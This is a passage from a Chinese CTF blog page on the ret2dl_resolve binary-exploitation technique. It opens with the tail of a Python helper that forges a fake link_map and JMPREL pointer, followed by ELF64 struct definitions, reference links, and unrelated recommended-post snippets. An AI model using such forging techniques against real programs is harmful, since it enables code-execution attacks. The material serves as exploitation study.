32 fake_link_map+=fake_Elf64_Dyn_JMPREL_addr # JMPREL pointer
33 return fake_link_map
34
35 '''
36 typedef struct
37 {
38 Elf64_Word st_name; /* Symbol name (string tbl index) */
39 unsigned char st_info; /* Symbol type and binding */
40 unsigned char st_other; /* Symbol visibility */
41 Elf64_Section st_shndx; /* Section index */
42 Elf64_Addr st_value; /* Symbol value */
43 Elf64_Xword st_size; /* Symbol size */
44 }Elf64_Sym;
45
46 typedef struct
47 {
48 Elf64_Addr r_offset; /* Address */
49 Elf64_Xword r_info; /* Relocation type and symbol index */
50 Elf64_Sxword r_addend; /* Addend */
51 }Elf64_Rela;
52
53 typedef struct
54 {
55 Elf64_Sxword d_tag; /* Dynamic entry type */
56 union
57 {
58 Elf64_Xword d_val; /* Integer value */
59 Elf64_Addr d_ptr; /* Address value */
60 } d_un;
61 }Elf64_Dyn;
62 '''

参考链接;

winmt师傅的 ret2dlresolve 与 改写got表

raycp师傅的 ret2dl_resolve解析

风沐云烟师傅的 ret2dl_runtime_resolve

Bill师傅的 0CTF 2018 BabyStack

ha1vk师傅的 ret2dl-runtime-resolve详细分析(32位&64位)

weixin_39861669师傅的 cannot resolve symbol r_64位ret2_dl_runtime_resolve模版题以及踩坑记录

g3n3rous师傅的 [分享]dl_runtime_resolve结合源码分析及常见的几种攻击手法

ret2dl_resolve的更多相关文章

  1. PWN——ret2dl_resolve

    PWN--ret2dl_resolve ret2dl_resolve是栈溢出中,底层且高级的一种利用手段,这里特此做一篇笔记学习一下. 个人认为,要掌握这种方法,自己去写demo来多次调试分析是不二法 ...

  2. CTF中做Linux下漏洞利用的一些心得

    其实不是很爱搞Linux,但是因为CTF必须要接触一些,漏洞利用方面也是因为CTF基本都是linux的pwn题目. 基本的题目分类,我认为就下面这三种,这也是常见的类型. 下面就分类来说说 0x0.栈 ...

  3. CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. 深入理解-dl_runtime_resolve

    深入理解-dl_runtime_resolve 概要 目前大部分漏洞利用常包含两个阶段: 首先通过信息泄露获取程序内存布局 第二步才进行实际的漏洞利用 然而信息泄露的方法并不总是可行的,且获取的内存信 ...

随机推荐

  1. 对于Linq关键字和await,async异步关键字的扩展使用

    最近在看neuecc大佬写的一些库:https://neuecc.medium.com/,其中对await,async以及linq一些关键字实现了自定义化使用, 使其不需要引用对应命名空间,不需要多线 ...

  2. 分配器——allocators

    任何容器的构建都离不开分配器,分配器顾名思义就是分割配置内存资源的组件,分配器的效率直接影响力容器的效率. operator new()和malloc() C/C++底层都是通过malloc()调用系 ...

  3. 编程之美Q1

    题目 和数书页有点类似,就直接数吧 #include<iostream> using namespace std; class q1 { public: size_t func(size_ ...

  4. HDFS初探之旅(二)

    6.HDFS API详解 Hadoop中关于文件操作类疾病上全部在"org.apache.hadoop.fs"包中,这些API能够支持的操作包含:打开文件.读写文件.删除文件等. ...

  5. Android 高级UI组件(三)

    一.popupWindow 1.AlertDialog和PopupWindow最关键的区别是AlertDialog不能指定显示位置,只能默认显示在屏幕最中间(当然也可以通过设置WindowManage ...

  6. 技术预演blog

    canal整合springboot实现mysql数据实时同步到redis spring+mysql集成canal springboot整合canal监控mysql数据库 SpringBoot cana ...

  7. 【Xcode】sh: pause: command not found

    system("pause"); 只适合于DOS和Windows系统,不适合Linux系统. 直接删掉就可以. 或者改为: #include <unistd.h> pa ...

  8. 莫烦python教程学习笔记——线性回归模型的属性

    #调用查看线性回归的几个属性 # Youtube video tutorial: https://www.youtube.com/channel/UCdyjiB5H8Pu7aDTNVXTTpcg # ...

  9. collection库更新1.4.0版本

    collection库更新1.4.0版本 collection库一直在使用中,周末集合github上的反馈以及contributor的修改,更新了1.4.0版本. 这个版本做了几个事情: 增加了三种类 ...

  10. 学习笔记--html篇(1)

    html学习--1 href学习 href="javascript:void(0)" 阻止页面跳转类似于javascript:#,url无变化(死链接,返回undefined) h ...